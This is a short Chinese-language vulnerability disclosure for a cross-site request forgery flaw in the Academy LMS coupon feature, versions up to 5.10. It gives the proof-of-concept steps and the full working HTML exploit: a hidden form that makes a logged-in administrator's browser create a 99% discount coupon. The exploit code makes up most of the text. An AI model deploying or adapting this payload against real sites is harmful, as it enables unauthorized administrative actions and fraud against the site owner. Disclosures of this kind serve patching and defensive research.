Academy LMS <= 5.10 CSRF
Academy LMS 是一个用户可以创建和推广课程的应用程序。其添加优惠券功能存在 CSRF 漏洞,由于没有令牌,导致该攻击无法被避免。
此概念验证的第一步是使用管理员账户登录该平台。
之后,只需访问包含漏洞利用代码的页面,即可看到系统自动创建了一个新的优惠券。
漏洞利用所使用的代码:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://target.com/admin/coupons/add" method="POST">
<input type="hidden" name="code" value="vinix" />
<input type="hidden" name="discount_percentage" value="99" />
<input type="hidden" name="expiry_date" value="12/11/2022" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>